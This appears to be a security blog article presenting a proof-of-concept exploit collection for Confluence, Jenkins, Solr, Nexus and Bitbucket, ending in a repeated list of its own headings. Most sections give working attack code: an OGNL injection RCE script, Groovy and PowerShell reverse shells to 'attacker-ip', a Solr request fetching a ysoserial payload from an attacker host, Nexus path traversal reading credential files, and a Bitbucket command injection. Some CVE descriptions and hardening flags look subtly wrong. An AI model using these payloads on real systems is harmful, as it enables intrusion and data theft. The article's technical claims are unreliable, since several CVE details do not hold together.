Critical PoC Exploit Collection For DevOps Tools: Atlassian, Jenkins, Solr, Nexus – How Hackers Bypass Your Security + Video

Introduction:

A recently surfaced proof‑of‑concept (PoC) collection targets core DevOps and collaboration platforms – Atlassian (Jira, Confluence, Bitbucket), Jenkins, Solr, and Nexus. These repositories, shared via LinkedIn by security researcher Omar Aljabr, demonstrate real‑world exploitation paths that can lead to remote code execution (RCE), data exfiltration, and full system compromise. For blue teams and red teams alike, understanding these attack vectors is essential to hardening CI/CD pipelines and preventing supply‑chain breaches.

Learning Objectives:

Identify and test exploitable vulnerabilities in popular DevOps tools using publicly available PoC code.
Execute Linux/Windows commands to detect, exploit, and mitigate flaws such as OGNL injection, template injection, and deserialization bugs.
Apply cloud‑hardening and API security controls to block common post‑exploitation techniques in Jenkins, Solr, Nexus, and Atlassian products.

You Should Know

1. Atlassian Confluence – CVE‑2022‑26134 OGNL Injection Exploitation

What the post reveals: The PoC includes a script that targets the OGNL (Object Graph Navigation Library) injection vulnerability in Confluence Server and Data Center, allowing unauthenticated RCE.

Step‑by‑step guide:

1. Detect vulnerability (Linux):

`curl -s “http://target:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%7D/” | grep -i “root\|admin”`

2. Exploit with Python (saved as `confluence_rce.py`):

import requests
cmd = 'id'
url = f'http://target:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27{cmd}%27%29.start%28%29%22%29%7D/'
r = requests.get(url)
print(r.text)

3. Windows command to check for exploitation logs:

`findstr /i “OGNL” C:\Program Files\Atlassian\Confluence\logs\atlassian-confluence.log`

Mitigation: Upgrade to Confluence ≥7.4.17, 7.13.7, 7.14.3, or 7.15.1. Apply WAF rules blocking `${` and `%24%7B` in URI paths.
Jenkins Script Console RCE via Groovy Sandbox Bypass

What the post covers: Attackers with “Overall/RunScripts” permission – or those exploiting CVE‑2024‑23897 (Jenkins CLI deserialization) – can execute arbitrary Groovy code, compromising build servers.

Step‑by‑step guide:

Authenticate and access script console (if low‑privilege account exists):
`http://jenkins:8080/script`

2. Execute Groovy reverse shell (Linux target):

String host="attacker-ip";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
p.getInputStream().transferTo(s.getOutputStream());

3. Windows reverse shell via Groovy:

"powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$c = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()\""".execute()

Hardening: Disable script console for non‑admin users, run Jenkins with -Dhudson.security.csrf.GlobalCrumbIssuerConfiguration.DISABLE_CSRF_PROTECTION=false, and use Role‑Based Strategy plugin to restrict hudson.model.Hudson.runScript.
Apache Solr – Unauthenticated Config API & Deserialization (CVE‑2019‑0193)

What the PoC demonstrates: Solr’s Config API allows remote attackers to enable `enableRemoteStreaming` and trigger deserialization of untrusted Java objects via the `/solr/{core}/config` endpoint.

Step‑by‑step guide:

1. List cores (Linux):

`curl “http://target:8983/solr/admin/cores?action=STATUS”`

2. Modify config to enable remote streaming:

`curl -X POST -H “Content-Type: application/json” –data ‘{“set-property”:{“enableRemoteStreaming”:true}}’ “http://target:8983/solr/demo/config”`

3. Trigger deserialization using a crafted `bin` request:

curl "http://target:8983/solr/demo/select?q=:&stream.url=http://attacker-ip:8080/exploit.ser&debug=true"

(Create `exploit.ser` using ysoserial: java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwned' > exploit.ser)
4. Windows detection: Review Solr logs in `C:\solr\server\logs\` for entries containing `enableRemoteStreaming` or ClassNotFoundException.
5. Mitigation: Apply patch Solr 8.1.1+, disable Config API write access via -Dconfigset.upload.enabled=false, and restrict network access to port 8983.

Sonatype Nexus Repository – Path Traversal & Admin Override

What the post highlights: Unauthenticated path traversal (CVE‑2024‑4956) allows reading arbitrary system files, and a separate endpoint can be abused to reset admin credentials in older Nexus 3 versions.

Step‑by‑step guide:

1. Exploit path traversal (Linux/Windows):

`curl -v “http://nexus:8081/%%2F%%2F%%2F%%2Fetc/passwd”` (on Windows, target `C:\windows\win.ini` with URL encoding)

2. Read Nexus configuration to extract admin hash:

`curl “http://nexus:8081/%%2F%%2F%%2F%%2Fnexus-data/db/config/security.xml”`
3. Reset admin password using REST API (authenticated as anonymous but with user‑overwrite misconfig):

POST /service/rest/v1/security/users/admin/change-password
{"password":"NewP@ssw0rd"}

4. Mitigation: Upgrade Nexus to ≥3.68.1, set `application-port` and `application-host` to localhost only, and remove anonymous access under Security → Anonymous Access.

Bitbucket (Atlassian) – Command Injection in Git LFS (CVE‑2022‑43781)

What the PoC includes: A malicious `git lfs` request can inject arbitrary commands via the `transferAdapter` argument in Bitbucket Server/Data Center versions <8.9.

Step‑by‑step guide (Linux):

1. Send crafted HTTP request to `/rest/git-lfs/1.0/objects/batch`:

curl -X POST -H "Content-Type: application/json" \
-d '{"operation":"download","objects":[{"oid":"dummy","size":123}],"transfers":[";id > /tmp/pwned;"]}' \
"http://bitbucket:7990/rest/git-lfs/1.0/objects/batch"

2. Verify command execution:

`ls -la /tmp/pwned` → should show output of id.
3. Windows equivalent: Inject `& calc.exe` in the `transfers` array.
4. Hardening: Update Bitbucket ≥8.9.1; disable Git LFS if not needed (lfs.enabled = false in bitbucket.properties).
5. API security check: Use Burp Suite to fuzz all `rest/git-lfs` endpoints for command injection patterns.

6. Cloud Hardening for DevOps Infrastructure

From the PoC context: Publicly exposed Jira, Jenkins, or Nexus on cloud VMs (AWS, Azure) are primary targets. Misconfigured security groups and IAM roles amplify the impact.

Step‑by‑step guide:

List all exposed DevOps ports using Nmap (Linux):

`nmap -p 8080,8081,8090,8983,7990 -sCV `

2. Enforce API gateway authentication (AWS example):

 Attach to API Gateway for Jenkins
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:region:account-id:stage/GET/",
"Condition": {"StringNotEquals": {"aws:SourceVpc": "vpc-12345"}}
}]
}

3. Windows hardening command (disable unnecessary WinRM on build agents):

`Stop-Service WinRM -Force; Set-Service WinRM -StartupType Disabled`

Tool‑specific mitigation – For Solr, run within a Docker container with read‑only root:
`docker run -d –read-only -p 8983:8983 solr:8.11 solr-precreate gettingstarted`
Training and Proactive Testing – Simulate the PoCs Safely

What the post implies: Security teams must reproduce these attacks in isolated labs. Build a home lab with Vagrant and the vulnerable Docker images.

Step‑by‑step guide (Linux host):

1. Deploy Atlassian & Jenkins vulnerable images:

docker run -d -p 8090:8090 --name confluence_cve vulhub/confluence:CVE-2022-26134
docker run -d -p 8080:8080 --name jenkins_script jenkins/jenkins:2.60.3

2. Run automated scanner (Nuclei) with custom templates from the PoC repo:
`nuclei -list targets.txt -t ~/poc-collection/atlassian/ -t ~/poc-collection/jenkins/ -o results.txt`
3. Windows training lab using Hyper‑V and pre‑configured VMware VMs – share via `vagrant up` for Nexus and Solr.
4. Recommended courses: SANS SEC540 (Cloud Security & DevOps), eLearnSecurity eCPPTv2 (Web app pentesting), or TCM Security’s Practical API Hacking.

What Undercode Say

Key Takeaway 1: The release of this PoC collection is a wake‑up call for every team running Jira, Jenkins, Nexus, or Solr – unauthenticated RCE and path traversal are not theoretical; they are weaponized within hours of any disclosure.

Key Takeaway 2: Most compromises happen because of neglected version upgrades (“we’ll do it next sprint”) and over‑permissive network rules. Even a single exposed port (8090, 8081) on a cloud VM leads to complete CI/CD takeover.

Key Takeaway 3: Defenders must shift left – integrate API security scanning and runtime protection (e.g., Falco for Kubernetes, ModSecurity for reverse proxies) into their pipelines. The PoC scripts shown above should be used in authorized red‑team exercises before attackers find them.

Analysis: The LinkedIn post by Omar Aljabr (OSCP, OSWA) and its amplification by Tony Moukbel (a multi‑certified expert) underscores a growing trend: vulnerability knowledge is rapidly democratized. However, without accompanying mitigation tutorials, many organizations remain exposed. This article bridges that gap by providing actionable commands for both attack emulation and defense hardening, from Groovy reverse shells to AWS IAM policies.

Prediction

Over the next 12–18 months, exploitation of these DevOps toolchains will move from sporadic attacks to automated, worm‑capable campaigns. Adversaries will combine Solr deserialization with Jenkins credential harvesting to pivot into private container registries and cloud storage buckets. The rise of AI‑powered pentesting (e.g., using LLMs to craft OGNL payloads) will lower the skill barrier, forcing vendors to adopt memory‑safe rewrites and zero‑trust per‑request authorization. Organizations that fail to implement continuous vulnerability scanning and rapid patch cycles for their own internal platforms will inevitably suffer supply‑chain breaches affecting thousands of downstream customers. Act now – or become tomorrow’s headline.

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Introduction:

Learning Objectives:

You Should Know

1. Atlassian Confluence – CVE‑2022‑26134 OGNL Injection Exploitation

Step‑by‑step guide:

1. Detect vulnerability (Linux):

2. Exploit with Python (saved as `confluence_rce.py`):

3. Windows command to check for exploitation logs:

`findstr /i “OGNL” C:\Program Files\Atlassian\Confluence\logs\atlassian-confluence.log`

Step‑by‑step guide:

2. Execute Groovy reverse shell (Linux target):

3. Windows reverse shell via Groovy:

Step‑by‑step guide:

1. List cores (Linux):

2. Modify config to enable remote streaming:

3. Trigger deserialization using a crafted `bin` request:

Step‑by‑step guide:

1. Exploit path traversal (Linux/Windows):

2. Read Nexus configuration to extract admin hash:

Step‑by‑step guide (Linux):

1. Send crafted HTTP request to `/rest/git-lfs/1.0/objects/batch`:

2. Verify command execution:

6. Cloud Hardening for DevOps Infrastructure

Step‑by‑step guide:

`nmap -p 8080,8081,8090,8983,7990 -sCV `

2. Enforce API gateway authentication (AWS example):

`Stop-Service WinRM -Force; Set-Service WinRM -StartupType Disabled`

Step‑by‑step guide (Linux host):

1. Deploy Atlassian & Jenkins vulnerable images:

What Undercode Say

Prediction

▶️ Related Video (74% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

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